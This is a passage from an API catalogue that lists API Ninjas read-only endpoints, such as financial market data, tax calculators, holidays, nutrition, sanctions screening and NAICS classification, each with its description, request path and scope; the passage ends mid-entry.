/v1/etfsearch GET /api/v1/apininjas/v1/etfsearch. Scopes: api. apininjas_get_v1_evcharger (read) — EV Charger via GET /v1/evcharger GET /api/v1/apininjas/v1/evcharger. Scopes: api. apininjas_get_v1_exchangerate (read) — Returns the exchange rate for a given currency pair. Data freshness depends on your plan: free-tier accounts receive once-daily exchange rates, while premium subscribers receive real-time rates. via GET /v1/exchangerate GET /api/v1/apininjas/v1/exchangerate. Scopes: api. apininjas_get_v1_exchangeratehistorical (read) — Requires a paid API Ninjas plan. Returns daily historical exchange rates for a given currency pair. Data is available back to January 1, 1999 for most currency pairs. via GET /v1/exchangeratehistorical GET /api/v1/apininjas/v1/exchangeratehistorical. Scopes: api. apininjas_get_v1_executivecompensation (read) — Look up a company by ticker , cik , or company name . Each response covers one fiscal year — the latest by default, or a specific year . The free tier returns the CEO's total for the latest year; premium plans unlock the full per-component breakdown, all named executives, historical years, and Pay Versus Performance. via GET /v1/executivecompensation GET /api/v1/apininjas/v1/executivecompensation. Scopes: api. apininjas_get_v1_exercises (read) — Returns up to 5 exercises that satisfy the given parameters. via GET /v1/exercises GET /api/v1/apininjas/v1/exercises. Scopes: api. apininjas_get_v1_factoftheday (read) — Returns a single fact for the current day. The same fact is returned for all requests on the same day, and changes each day. Perfect for displaying on your website or app. No parameters are available for this endpoint to ensure everyone sees the same fact of the day. via GET /v1/factoftheday GET /api/v1/apininjas/v1/factoftheday. Scopes: api. apininjas_get_v1_facts (read) — Returns one (or more) random facts. Free users have access to 100 facts - premium users have access to over 500,000 facts. via GET /v1/facts GET /api/v1/apininjas/v1/facts. Scopes: api. apininjas_get_v1_failstodeliver (read) — Shares that did not settle on the contractual settlement date, published semi-monthly by the SEC. Persistent, large fails are the closest public signal to naked shorting. Note: a security is listed only on dates it actually had a settlement failure, so an absent date means no material fails rather than no data. via GET /v1/failstodeliver GET /api/v1/apininjas/v1/failstodeliver. Scopes: api. apininjas_get_v1_gdp (read) — Get GDP data from given parameters. Returns GDP statistics that satisfy the parameters. At least one of the following parameters must be set: country , year via GET /v1/gdp GET /api/v1/apininjas/v1/gdp. Scopes: api. apininjas_get_v1_geocoding (read) — Get current city coordinates by city and country name. At least one of the following parameters must be set: via GET /v1/geocoding GET /api/v1/apininjas/v1/geocoding. Scopes: api. apininjas_get_v1_goldprice (read) — Requires a paid API Ninjas plan. Returns the current gold futures price in USD. Premium members have access to live prices, while free users only have access to 15-minute delayed data. For historical gold futures prices, see /v1/goldpricehistorical . via GET /v1/goldprice GET /api/v1/apininjas/v1/goldprice. Scopes: api. apininjas_get_v1_goldpricehistorical (read) — Requires a paid API Ninjas plan. Returns historical gold futures price data in OHLCV (Open, High, Low, Close, Volume) format. The data is returned in descending order (most recent first), and all prices are in USD. via GET /v1/goldpricehistorical GET /api/v1/apininjas/v1/goldpricehistorical. Scopes: api. apininjas_get_v1_helicopter (read) — Get helicopter technical specifications that match the given parameters. via GET /v1/helicopter GET /api/v1/apininjas/v1/helicopter. Scopes: api. apininjas_get_v1_historicalevents (read) — Returns a list of up to 10 events that match the search parameters. Use the offset parameter to paginate through more results. via GET /v1/historicalevents GET /api/v1/apininjas/v1/historicalevents. Scopes: api. apininjas_get_v1_historicalfigures (read) — Returns a list of up to 10 people that match the search parameters. via GET /v1/historicalfigures GET /api/v1/apininjas/v1/historicalfigures. Scopes: api. apininjas_get_v1_hobbies (read) — Returns a random hobby and a Wikipedia link detailing the hobby. via GET /v1/hobbies GET /api/v1/apininjas/v1/hobbies. Scopes: api. apininjas_get_v1_horoscope (read) — Returns the daily horoscope for a specific zodiac sign. Optionally, you can provide a date parameter to get historical horoscopes. via GET /v1/horoscope GET /api/v1/apininjas/v1/horoscope. Scopes: api. apininjas_get_v1_hospitals (read) — Get hospital data based on given parameters. Returns a list of hospitals that match the specified criteria. At least one parameter (other than offset ) must be provided. Free users are limited to 5 results per request. Premium users can use the limit parameter to get up to 100 results per request and can use the offset parameter to paginate through more results. via GET /v1/hospitals GET /api/v1/apininjas/v1/hospitals. Scopes: api. apininjas_get_v1_iban (read) — Returns detailed information on a given IBAN. via GET /v1/iban GET /api/v1/apininjas/v1/iban. Scopes: api. apininjas_get_v1_incomestatement (read) — If you do not specify a year or period, the API will return the most recent income statement. via GET /v1/incomestatement GET /api/v1/apininjas/v1/incomestatement. Scopes: api. apininjas_get_v1_incomestatementavailability (read) — Requires an API Ninjas Developer plan or above. Income Statement via GET /v1/incomestatementavailability GET /api/v1/apininjas/v1/incomestatementavailability. Scopes: api. apininjas_get_v1_incometaxcalculator (read) — Returns comprehensive annual tax calculations including federal, state/provincial, and FICA taxes where applicable. via GET /v1/incometaxcalculator GET /api/v1/apininjas/v1/incometaxcalculator. Scopes: api. apininjas_get_v1_inflation (read) — Requires a paid API Ninjas plan. Returns current monthly and annual inflation percentages. List of Supported countries ▶ via GET /v1/inflation GET /api/v1/apininjas/v1/inflation. Scopes: api. apininjas_get_v1_inflationhistorical (read) — Requires a paid API Ninjas plan. Returns historical inflation rates for a given country and (optionally) time range. The maximum number of data points returned per API call is 100 . via GET /v1/inflationhistorical GET /api/v1/apininjas/v1/inflationhistorical. Scopes: api. apininjas_get_v1_insiderdetails (read) — Requires a paid API Ninjas plan. Returns detailed transaction information for a given insider with optional filtering by company. via GET /v1/insiderdetails GET /api/v1/apininjas/v1/insiderdetails. Scopes: api. apininjas_get_v1_insiderslist (read) — Requires a paid API Ninjas plan. Returns a list of all insiders for a given company (via ticker or CIK). For each insider, returns their name, position, and current share holdings based on their most recent filing. via GET /v1/insiderslist GET /api/v1/apininjas/v1/insiderslist. Scopes: api. apininjas_get_v1_insidertransactions (read) — Returns a list of insider trading transactions that match the specified filters. All parameters are optional and can be combined for advanced filtering. via GET /v1/insidertransactions GET /api/v1/apininjas/v1/insidertransactions. Scopes: api. apininjas_get_v1_institutionalholdings (read) — Returns the portfolio of a 13F filer for a quarter — one record per holding. Identify the manager with cik or manager_name ; defaults to the most recent reported quarter. via GET /v1/institutionalholdings GET /api/v1/apininjas/v1/institutionalholdings. Scopes: api. apininjas_get_v1_institutionalinvestors (read) — Requires a paid API Ninjas plan. Directory and filing history of 13F institutions — the lookup that resolves a manager name to a CIK before you call /v1/institutionalholdings . The parameter you pass selects the mode; with no parameters it returns the most recent quarter's filings. via GET /v1/institutionalinvestors GET /api/v1/apininjas/v1/institutionalinvestors. Scopes: api. apininjas_get_v1_institutionalmovers (read) — Requires an API Ninjas Business or Professional plan. The biggest institutional moves of a quarter — a market-wide leaderboard, or (with cik ) the largest moves within a single institution. via GET /v1/institutionalmovers GET /api/v1/apininjas/v1/institutionalmovers. Scopes: api. apininjas_get_v1_institutionalownership (read) — Institutional ownership of a stock — every 13F manager holding a given security for a quarter. With summary=true it returns a single ownership-concentration aggregate instead of the holder list. Free tier is limited to the most recent quarter. via GET /v1/institutionalownership GET /api/v1/apininjas/v1/institutionalownership. Scopes: api. apininjas_get_v1_iplookup (read) — Returns the location of the IP address specified. The response contains both the geographical coordinates (latitude/longitude) as well as the city and country. via GET /v1/iplookup GET /api/v1/apininjas/v1/iplookup. Scopes: api. apininjas_get_v1_ipocalendar (read) — Returns a list of IPO records matching your filters. With no parameters, returns the current IPO calendar — companies in registration plus IPOs listed in the last 90 days, most recent first. Up to 50 records are returned per request by default (configurable via limit , max 1000). All parameters are optional. via GET /v1/ipocalendar GET /api/v1/apininjas/v1/ipocalendar. Scopes: api. apininjas_get_v1_isbankholiday (read) — Returns whether a given date is a bank holiday for a given country. via GET /v1/isbankholiday GET /api/v1/apininjas/v1/isbankholiday. Scopes: api. apininjas_get_v1_isholiday (read) — Returns a list of all holidays that fall on a given date. If no country is specified, holidays from all countries matching the date are returned. via GET /v1/isholiday GET /api/v1/apininjas/v1/isholiday. Scopes: api. apininjas_get_v1_ispublicholiday (read) — Returns whether a given date is a public holiday for a given country. via GET /v1/ispublicholiday GET /api/v1/apininjas/v1/ispublicholiday. Scopes: api. apininjas_get_v1_isworkingday (read) — Returns whether a given date is a working day for a given country. via GET /v1/isworkingday GET /api/v1/apininjas/v1/isworkingday. Scopes: api. apininjas_get_v1_jokeoftheday (read) — Returns a single joke for the current day. The same joke is returned for all requests on the same day, and changes each day. Perfect for displaying on your website or app. No parameters are available for this endpoint to ensure everyone sees the same joke of the day. via GET /v1/jokeoftheday GET /api/v1/apininjas/v1/jokeoftheday. Scopes: api. apininjas_get_v1_jokes (read) — Returns one (or more) random funny jokes. Free users have access to 100 jokes - premium users have access to over 20,000 jokes. via GET /v1/jokes GET /api/v1/apininjas/v1/jokes. Scopes: api. apininjas_get_v1_liborhistorical (read) — Requires a paid API Ninjas plan. Returns historical LIBOR rates for a specified tenor. You can specify a time range to retrieve data from. The maximum number of data points returned per API call is 100 . via GET /v1/liborhistorical GET /api/v1/apininjas/v1/liborhistorical. Scopes: api. apininjas_get_v1_logo (read) — Get a list of company names, ticker symbols, and logo image URLs matching the input parameters. Returns at most 10 results. via GET /v1/logo GET /api/v1/apininjas/v1/logo. Scopes: api. apininjas_get_v1_loremipsum (read) — Returns one or more paragraphs of lorem ipsum placeholder text. via GET /v1/loremipsum GET /api/v1/apininjas/v1/loremipsum. Scopes: api. apininjas_get_v1_marketcap (read) — Returns the current market cap data for any given company ticker. Premium members have access to live prices, while free users only have access to 15-minute delayed data. via GET /v1/marketcap GET /api/v1/apininjas/v1/marketcap. Scopes: api. apininjas_get_v1_mortgagecalculator (read) — Returns monthly payment, annual payment, and interest rate information based on given mortgage parameters. via GET /v1/mortgagecalculator GET /api/v1/apininjas/v1/mortgagecalculator. Scopes: api. apininjas_get_v1_motorcarrier (read) — Canonical carrier profile. Provide exactly one of dot or mc . via GET /v1/motorcarrier GET /api/v1/apininjas/v1/motorcarrier. Scopes: api. apininjas_get_v1_motorcarrierinsurance (read) — Requires an API Ninjas Business or Professional plan. Policy-level insurance filings for a carrier: form code, insurer, policy number, coverage amount, and effective and cancellation dates. Requires a Business or higher subscription . via GET /v1/motorcarrierinsurance GET /api/v1/apininjas/v1/motorcarrierinsurance. Scopes: api. apininjas_get_v1_motorcarrierlinks (read) — Requires an API Ninjas Business or Professional plan. Other carriers that share a physical address, telephone number, email domain or company officer with the carrier you asked about, flagged when any of them holds revoked or suspended authority. Requires a Business or higher subscription . via GET /v1/motorcarrierlinks GET /api/v1/apininjas/v1/motorcarrierlinks. Scopes: api. apininjas_get_v1_motorcarriersafety (read) — Crash counts by severity, inspection and out-of-service rates measured against the national average, and public BASIC results from FMCSA's Safety Measurement System. via GET /v1/motorcarriersafety GET /api/v1/apininjas/v1/motorcarriersafety. Scopes: api. apininjas_get_v1_motorcarriersearch (read) — Find carriers by name or location, or reverse-look-up a phone number or email address. At least one parameter is required. via GET /v1/motorcarriersearch GET /api/v1/apininjas/v1/motorcarriersearch. Scopes: api. apininjas_get_v1_motorcyclemakes (read) — Requires an API Ninjas Business or Professional plan. Returns a list of all motorcycle makes (manufacturers). via GET /v1/motorcyclemakes GET /api/v1/apininjas/v1/motorcyclemakes. Scopes: api. apininjas_get_v1_motorcyclemodels (read) — Requires an API Ninjas Business or Professional plan. Returns a list of all motorcycle models for a given make (manufacturer). via GET /v1/motorcyclemodels GET /api/v1/apininjas/v1/motorcyclemodels. Scopes: api. apininjas_get_v1_motorcycles (read) — Returns up to 30 motorcycle results matching the input name parameters. For searches that yield more than 30 results, please use the offset parameter. via GET /v1/motorcycles GET /api/v1/apininjas/v1/motorcycles. Scopes: api. apininjas_get_v1_mutualfund (read) — Returns comprehensive information about any Mutual Fund by its ticker. via GET /v1/mutualfund GET /api/v1/apininjas/v1/mutualfund. Scopes: api. apininjas_get_v1_mxlookup (read) — Returns a list of MX records associated with a particular domain. Free users receive only data from the first MX record, while premium users get access to all MX records. via GET /v1/mxlookup GET /api/v1/apininjas/v1/mxlookup. Scopes: api. apininjas_get_v1_naics (read) — Returns the official title, description, full hierarchy, children, index terms and cross-reference rules for a NAICS 2022 code. Pass crosswalk_to to also map the code to an earlier NAICS revision. via GET /v1/naics GET /api/v1/apininjas/v1/naics. Scopes: api. apininjas_get_v1_naicsclassify (read) — Requires an API Ninjas Business or Professional plan. Assigns one primary NAICS code to a free-text business description by applying NAICS’s own rules: the primary-activity test, the cross-reference exclusions, and establishment scope. Classification is powered by a language model tuned for this task and constrained to the official Census index, so it is fast and never returns a code outside the published taxonomy. The deciding rule and the official index term that matched are both returned, so the classification can be justified during an audit. via GET /v1/naicsclassify GET /api/v1/apininjas/v1/naicsclassify. Scopes: api. apininjas_get_v1_naicsrisk (read) — Requires an API Ninjas Business or Professional plan. Returns an industry-level KYB and underwriting risk profile for a NAICS code. This describes an industry, never a specific business. It is API Ninjas analysis derived from public FinCEN and FFIEC guidance and published card-network restricted-business lists, and it is not a compliance determination or a consumer report. via GET /v1/naicsrisk GET /api/v1/apininjas/v1/naicsrisk. Scopes: api. apininjas_get_v1_naicssearch (read) — Returns ranked candidate codes for a keyword or phrase, scored against the 20,373 official Census index terms plus titles and descriptions. Every result names the index term that matched, so you can see why it ranked. No classification rules are applied — use /v1/naicsclassify when you need one decided answer. via GET /v1/naicssearch GET /api/v1/apininjas/v1/naicssearch. Scopes: api. apininjas_get_v1_naicssizestandard (read) — Requires an API Ninjas Developer plan or above. Returns the SBA small-business size standard for a NAICS code, taken from 13 CFR 121.201 . Supply revenue or employees and the response adds an eligibility verdict with remaining headroom. This is informational and is not an SBA size determination. via GET /v1/naicssizestandard GET /api/v1/apininjas/v1/naicssizestandard. Scopes: api. apininjas_get_v1_nutrition (read) — This endpoint uses AI to automatically read any text and extract every food item it contains, along with the right portion for each. It can process multiple food items at once — simply copy and paste any text, such as a recipe or your food journal, directly, and it will return the nutrition data for every food item found. Items without a specified amount default to a 100g serving. If this isn't what you're looking for and you'd prefer to input items traditionally — a single food item with a specific quantity to get the nutrition for just that item — use the /v1/nutritionitem endpoint instead. via GET /v1/nutrition GET /api/v1/apininjas/v1/nutrition. Scopes: api. apininjas_get_v1_nutritionbranded (read) — Requires an API Ninjas Business or Professional plan. Search branded and packaged foods by product name , brand , or UPC/EAN barcode to get nutrition information, allergens, and ingredients. This endpoint is powered by a comprehensive database of foods. A barcode lookup returns a single product; a name or brand search returns a ranked list of matching products. Provide at least one of upc , name , or brand . via GET /v1/nutritionbranded GET /api/v1/apininjas/v1/nutritionbranded. Scopes: api. apininjas_get_v1_nutritionitem (read) — Returns nutrition information for a single food item with a specific quantity. This endpoint supports various units of measurements for the quantity parameter. via GET /v1/nutritionitem GET /api/v1/apininjas/v1/nutritionitem. Scopes: api. apininjas_get_v1_oilprice (read) — Returns the current price for an oil or energy benchmark. Free accounts receive the daily closing price for WTI and Brent; premium members get real-time prices for all benchmarks. For historical prices, see /v1/oilpricehistorical . via GET /v1/oilprice GET /api/v1/apininjas/v1/oilprice. Scopes: api. apininjas_get_v1_oilpricehistorical (read) — Requires a paid API Ninjas plan. Returns historical oil price data in OHLCV (Open, High, Low, Close, Volume) format. The data is returned in descending order (most recent first). via GET /v1/oilpricehistorical GET /api/v1/apininjas/v1/oilpricehistorical. Scopes: api. apininjas_get_v1_passwordgenerator (read) — Returns a random password string adhering to the specified parameters. via GET /v1/passwordgenerator GET /api/v1/apininjas/v1/passwordgenerator. Scopes: api. apininjas_get_v1_paycheckwithholding (read) — Requires a paid API Ninjas plan. Returns per-paycheck federal withholding, FICA (Social Security, Medicare, Additional Medicare), and optional state withholding given gross pay and W-4 inputs. Federal withholding uses IRS Publication 15-T percentage method tables for both the 2020-or-later and pre-2020 W-4 forms. via GET /v1/paycheckwithholding GET /api/v1/apininjas/v1/paycheckwithholding. Scopes: api. apininjas_get_v1_phonelookup (read) — Returns carrier, line type, and network metadata for a given phone number. via GET /v1/phonelookup GET /api/v1/apininjas/v1/phonelookup. Scopes: api. apininjas_get_v1_planets (read) — Get a list of planets matching specified parameters. Returns at most 30 results. To access more than 30 results, use the offset parameter to offset results in multiple API calls. At least one of the following parameters (other than offset ) must be set: via GET /v1/planets GET /api/v1/apininjas/v1/planets. Scopes: api. apininjas_get_v1_population (read) — Get population data from given parameters. Returns a list of up to 5 country population statistics that satisfy the parameters. For more results use the offset parameter. At least one of the following parameters must be set: country , min_population , max_population via GET /v1/population GET /api/v1/apininjas/v1/population. Scopes: api. apininjas_get_v1_postalcode (read) — Returns a list of postal code details matching the input parameters. Formatting is flexible. Spaces, hyphens and country prefixes are normalized, so 1011AB and 1011 AB both resolve, as do L-4968 and 4968 . At least one of postal_code , city or region must be set: via GET /v1/postalcode GET /api/v1/apininjas/v1/postalcode. Scopes: api. apininjas_get_v1_profanityfilter (read) — Returns the censored version (bad words replaced with asterisks) of any given text and whether the text contains profanity. via GET /v1/profanityfilter GET /api/v1/apininjas/v1/profanityfilter. Scopes: api. apininjas_get_v1_propertytax (read) — Returns a list of regions and corresponding 25th, 50th (median), and 75th percentile effective property tax rates. The region is mostly zipcode-based, but sometimes a single zipcode can contain multiple regions due to local tax laws. The maximum number of results returned is 100. At least one of the following parameters must be set: city , county , zip . via GET /v1/propertytax GET /api/v1/apininjas/v1/propertytax. Scopes: api. apininjas_get_v1_publicholidays (read) — Returns a list of public holidays for a given country and year. To look up whether a given date is a public holiday, use the /v1/ispublicholiday endpoint instead. via GET /v1/publicholidays GET /api/v1/apininjas/v1/publicholidays. Scopes: api. apininjas_get_v1_qrcode (read) — Returns a QRCode image binary specified by input parameters. via GET /v1/qrcode GET /api/v1/apininjas/v1/qrcode. Scopes: api. apininjas_get_v1_randomimage (read) — Returns a random image in JPEG format. via GET /v1/randomimage GET /api/v1/apininjas/v1/randomimage. Scopes: api. apininjas_get_v1_reversegeocoding (read) — Returns a list of cities that contain a given latitude and longitude. via GET /v1/reversegeocoding GET /api/v1/apininjas/v1/reversegeocoding. Scopes: api. apininjas_get_v1_rhyme (read) — Returns a list of rhyming words for any given word. via GET /v1/rhyme GET /api/v1/apininjas/v1/rhyme. Scopes: api. apininjas_get_v1_riddles (read) — Returns one or more random riddles. Plan Available Riddles Free 100 riddles Premium only More than 10,000 riddles via GET /v1/riddles GET /api/v1/apininjas/v1/riddles. Scopes: api. apininjas_get_v1_routingnumber (read) — Returns detailed information about a bank based on its routing number. via GET /v1/routingnumber GET /api/v1/apininjas/v1/routingnumber. Scopes: api. apininjas_get_v1_routingnumbersearch (read) — Requires a paid API Ninjas plan. Routing Number via GET /v1/routingnumbersearch GET /api/v1/apininjas/v1/routingnumbersearch. Scopes: api. apininjas_get_v1_salestax (read) — Returns one or more sales tax breakdowns by ZIP code according to the specified parameters. Each breakdown includes the state sales tax (if any), county sales tax (if any), city sales tax (if any), and any additional special sales taxes. All tax values are presented in decimals (e.g. 0.1 means 10% tax). Exactly one of the following must be set: zip_code or ( city + state ) via GET /v1/salestax GET /api/v1/apininjas/v1/salestax. Scopes: api. apininjas_get_v1_salestaxcalculator (read) — Calculates sales tax for a given amount and location. Returns a detailed breakdown including state, county, city, and special district taxes, along with the calculated tax amount and total amount after tax. amount is required, and exactly one of the following must be set: zip_code or ( city + state ) via GET /v1/salestaxcalculator GET /api/v1/apininjas/v1/salestaxcalculator. Scopes: api. apininjas_get_v1_salestaxnexus (read) — Requires a paid API Ninjas plan. Returns US sales tax economic nexus thresholds, and optionally determines whether a seller has crossed them. Call it with no sales figures to use it as a reference lookup of each state's rules, or supply your sales figures to get a determination. Omit state to evaluate all 50 states and DC in a single request. Every nexus or no_nexus answer is provable from the figures you supply. Where your inputs cannot settle the question, the endpoint returns indeterminate together with a required_input array naming exactly which parameter would resolve it, rather than guessing. This matters because states measure different quantities: taxable sales are a subset of retail sales, which are a subset of gross sales, so Florida (which measures taxable sales) and Michigan (which measures gross sales including exempt ones) can reach opposite conclusions on the same seller. This endpoint evaluates economic nexus only . Physical presence — inventory, employees, offices, contractors, trade shows — can create nexus at any sales volume and is not considered. It is reference data, not tax advice. This endpoint is available to premium subscribers only. Requests on the free tier return an error. All parameters are optional. With none set, the endpoint returns the threshold rules for every jurisdiction. via GET /v1/salestaxnexus GET /api/v1/apininjas/v1/salestaxnexus. Scopes: api. apininjas_get_v1_sanctionsscreening (read) — Returns ranked sanctions matches for the supplied name with confidence scores from 0 to 100. List coverage by subscription tier: Free — OFAC SDN only, individuals only, limited response fields. Developer — adds the EU Consolidated Financial Sanctions List and entity screening. Business and above — adds UK, UN, and Australian DFAT lists; vessel and aircraft screening; phonetic and transliteration matching; full per-source list_versions and stale_data_warning on every response. See pricing for a complete feature comparison. via GET /v1/sanctionsscreening GET /api/v1/apininjas/v1/sanctionsscreening. Scopes: api. apininjas_get_v1_sec (read) — Returns a list of SEC filing information (including the submission URL) corresponding to the given search parameters. via GET /v1/sec GET /api/v1/apininjas/v1/sec. Scopes: api. apininjas_get_v1_sentiment (read) — Returns sentiment analysis score and overall sentiment for a given block of text. via GET /v1/sentiment GET /api/v1/apininjas/v1/sentiment. Scopes: api. apininjas_get_v1_shortinterest (read) — Returns the latest bi-weekly short interest for a security, plus history. Free plans get the latest settlement date including the exact short_percent_outstanding ; premium plans add percent of float, dollar notional short, the two-year percentile, split-adjusted history and the full archive back to December 2017. via GET /v1/shortinterest GET /api/v1/apininjas/v1/shortinterest. Scopes: api. apininjas_get_v1_shortinterestcalendar (read) — Settlement dates, member reporting deadlines and FINRA publication dates. Short interest changes only 24 times a year, so this lets you schedule refreshes instead of polling. Available on every plan, including free. via GET /v1/shortinterestcalendar GET /api/v1/apininjas/v1/shortinterestcalendar. Scopes: api. apininjas_get_v1_shortinterestscreener (read) — Requires an API Ninjas Business or Professional plan. Ranks the entire US equity universe for a settlement date — this is how you find the most shorted stocks. Sort by percent of float, percent of outstanding, days to cover, two-week change, dollar notional short or the two-year percentile, and narrow by sector, exchange, price or size. Because short percent of float is derived rather than reported, add exclude_capped_float=true and max_float_price_gap_days=7 to restrict a ranking to floats that were actually measured. via GET /v1/shortinterestscreener GET /api/v1/apininjas/v1/shortinterestscreener. Scopes: api. apininjas_get_v1_shortvolume (read) — Daily Reg SHO short sale volume — the portion of a day's off-exchange volume flagged as short sales. Updated every trading day, so it moves between the bi-weekly short interest readings. This is not short interest, and not a percent of total market volume. FINRA covers only trades reported to its Trade Reporting Facilities, roughly 35–52% of consolidated volume. A ratio near 50% is normal: it mostly reflects wholesalers filling retail buy orders from inventory, which books as a short sale. via GET /v1/shortvolume GET /api/v1/apininjas/v1/shortvolume. Scopes: api. apininjas_get_v1_sortcode (read) — Returns detailed information about a UK bank branch based on its sort code. via GET /v1/sortcode GET /api/v1/apininjas/v1/sortcode. Scopes: api. apininjas_get_v1_sortcodesearch (read) — Requires a paid API Ninjas plan. Sort Code via GET /v1/sortcodesearch GET /api/v1/apininjas/v1/sortcodesearch. Scopes: api. apininjas_get_v1_spellcheck (read) — Returns spelling corrections and suggestions for any given text. via GET /v1/spellcheck GET /api/v1/apininjas/v1/spellcheck. Scopes: api. apininjas_get_v1_stars (read) — Get a list of stars matching specified parameters. Returns at most 30 results. To access more than 30 results, use the offset parameter to offset results in multiple API calls. At least one of the following parameters (other than offset ) is required. via GET /v1/stars GET /api/v1/apininjas/v1/stars. Scopes: api. apininjas_get_v1_stockexchange (read) — Returns detailed information about stock exchanges matching the specified criteria. At least one parameter is required. To get a list of all available stock exchanges, use the /v1/allstockexchanges endpoint. via GET /v1/stockexchange GET /api/v1/apininjas/v1/stockexchange. Scopes: api. apininjas_get_v1_stockexchangeholidays (read) — Requires an API Ninjas Business or Professional plan. Returns holiday calendars for stock exchanges, including full closures and early close days. If no parameters are specified, returns holidays for all exchanges. Only confirmed future holidays are included — additional holidays will be added as they are officially confirmed by each exchange. via GET /v1/stockexchangeholidays GET /api/v1/apininjas/v1/stockexchangeholidays. Scopes: api. apininjas_get_v1_stockexchangehours (read) — Requires an API Ninjas Business or Professional plan. Check if stock exchanges are open on a specific date or at a specific point in time. Returns trading hours (adjusted for early closures and holidays) and open/closed status. via GET /v1/stockexchangehours GET /api/v1/apininjas/v1/stockexchangehours. Scopes: api. apininjas_get_v1_stocknews (read) — Requires a paid API Ninjas plan. Returns up to 50 of the most recent stock-market news headlines, sorted most recent first. Use the optional ticker parameter to filter by one or more symbols. This endpoint is available to premium subscribers only. via GET /v1/stocknews GET /api/v1/apininjas/v1/stocknews. Scopes: api. apininjas_get_v1_stockprice (read) — Returns price information for any given ticker symbol. Premium members have access to live prices, while free users only have access to 15-minute delayed data. via GET /v1/stockprice GET /api/v1/apininjas/v1/stockprice. Scopes: api. apininjas_get_v1_stockpricehistorical (read) — Requires a paid API Ninjas plan. Returns historical price data in OHLCV (Open, High, Low, Close, Volume) format for any given ticker symbol. To get the 'price' for a particular period, use the close value from the response. The most recent 5 years of data are available on all paid tiers. Access to the full archive (older than 5 years, back to IPO) requires a Business, Professional, Enterprise, or annual subscription. See pricing . via GET /v1/stockpricehistorical GET /api/v1/apininjas/v1/stockpricehistorical. Scopes: api. apininjas_get_v1_stockpricelist (read) — Requires a paid API Ninjas plan. Returns a list of all available companies and their ticker symbols. Supports pagination to retrieve results in batches. via GET /v1/stockpricelist GET /api/v1/apininjas/v1/stockpricelist. Scopes: api. apininjas_get_v1_stocksplit (read) — Returns a list of stock split records matching your filters. With no parameters, returns splits dated between 30 days ago and 30 days from now (recent and upcoming). Up to 50 records are returned per request by default (configurable via limit , max 1000). All parameters are optional. via GET /v1/stocksplit GET /api/v1/apininjas/v1/stocksplit. Scopes: api. apininjas_get_v1_sudokugenerate (read) — Generate a new Sudoku puzzle with specified parameters. via GET /v1/sudokugenerate GET /api/v1/apininjas/v1/sudokugenerate. Scopes: api. apininjas_get_v1_sudokusolve (read) — Solve an existing Sudoku puzzle. via GET /v1/sudokusolve GET /api/v1/apininjas/v1/sudokusolve. Scopes: api. apininjas_get_v1_swiftcode (read) — Returns a list of bank information (including SWIFT/BIC Code) that match the input parameter. Returns at most 100 results. For more results, use the offset parameter. At least one of the parameters below must be set. via GET /v1/swiftcode GET /api/v1/apininjas/v1/swiftcode. Scopes: api. apininjas_get_v1_textlanguage (read) — Returns the language name and 2-letter ISO language code for a given block of text string. via GET /v1/textlanguage GET /api/v1/apininjas/v1/textlanguage. Scopes: api. apininjas_get_v1_thesaurus (read) — Returns a list of synonyms and a list of antonyms for a given word. via GET /v1/thesaurus GET /api/v1/apininjas/v1/thesaurus. Scopes: api. apininjas_get_v1_ticker (read) — Returns comprehensive company profile information including company name, CEO, address, financial data, exchange information, identifiers (CIK, CUSIP, ISIN), and latest earnings information when available. via GET /v1/ticker GET /api/v1/apininjas/v1/ticker. Scopes: api. apininjas_get_v1_tickersearch (read) — Requires a paid API Ninjas plan. Returns a list of at most 100 ticker symbols matching a given company name. Results are sorted by exchange size (largest exchanges first) to prioritize the most common listings. via GET /v1/tickersearch GET /api/v1/apininjas/v1/tickersearch. Scopes: api. apininjas_get_v1_timezone (read) — Get timezone info by city/state/country or location coordinates (latitude/longitude). Returns the timezone name of the specified input location and the time offset in seconds. Note: at least one of the following must be provided: timezone , lat and lon , or city . via GET /v1/timezone GET /api/v1/apininjas/v1/timezone. Scopes: api. apininjas_get_v1_treasuryyield (read) — Returns the latest yield curve for the requested type . The current curve is free; a specific historical date and the combined type=all response require a premium subscription. via GET /v1/treasuryyield GET /api/v1/apininjas/v1/treasuryyield. Scopes: api. apininjas_get_v1_treasuryyieldhistorical (read) — Requires a paid API Ninjas plan. Returns a historical time series for a single maturity . Omit maturity to get the full curve per date. This endpoint requires a premium subscription. via GET /v1/treasuryyieldhistorical GET /api/v1/apininjas/v1/treasuryyieldhistorical. Scopes: api. apininjas_get_v1_trivia (read) — Returns a random trivia question and answer. Free users have access to 100 trivia questions - premium users have access to over 100,000 trivia questions. via GET /v1/trivia GET /api/v1/apininjas/v1/trivia. Scopes: api. apininjas_get_v1_triviaoftheday (read) — Returns a single trivia question and answer for the current day. The same question is returned for all requests on the same day, and changes each day. Perfect for displaying on your website or app. No filtering parameters are available for this endpoint to ensure everyone sees the same trivia of the day. via GET /v1/triviaoftheday GET /api/v1/apininjas/v1/triviaoftheday. Scopes: api. apininjas_get_v1_unemployment (read) — Get unemployment data for a given country. Returns historical, current and forecast unemployment statistics. At least one of the following parameters must be set: country , year via GET /v1/unemployment GET /api/v1/apininjas/v1/unemployment. Scopes: api. apininjas_get_v1_unitconversion (read) — Returns conversions between different units of the same measurement type. via GET /v1/unitconversion GET /api/v1/apininjas/v1/unitconversion. Scopes: api. apininjas_get_v1_university (read) — Returns information about universities matching the provided filters. At least one filter parameter is required. Free users can use name or country - all other filters are premium-only . via GET /v1/university GET /api/v1/apininjas/v1/university. Scopes: api. apininjas_get_v1_upcomingearnings (read) — Requires a paid API Ninjas plan. Returns a list of upcoming earnings dates with filtering capabilities. You can filter by date range, single date, exchange, or ticker symbol. Results are limited to dates from today onwards. All parameters are optional. If no parameters are provided, returns upcoming earnings from today onwards (up to 100 results). via GET /v1/upcomingearnings GET /api/v1/apininjas/v1/upcomingearnings. Scopes: api. apininjas_get_v1_urllookup (read) — Returns the location of the IP address hosting the URL domain. The response contains both the geographical coordinates (latitude/longitude) as well as the city and country. via GET /v1/urllookup GET /api/v1/apininjas/v1/urllookup. Scopes: api. apininjas_get_v1_useragentgenerate (read) — Generates a realistic user agent string based on optional parameters. via GET /v1/useragentgenerate GET /api/v1/apininjas/v1/useragentgenerate. Scopes: api. apininjas_get_v1_validateemail (read) — Returns metadata (including whether it is valid) for a given email address. This API will check the formatting of the email and the existence of DNS records for the domain to make sure it is a valid email address. via GET /v1/validateemail GET /api/v1/apininjas/v1/validateemail. Scopes: api. apininjas_get_v1_validatephone (read) — Returns metadata (including whether it is valid) for a given phone number. via GET /v1/validatephone GET /api/v1/apininjas/v1/validatephone. Scopes: api. apininjas_get_v1_vat (read) — Returns VAT rates for 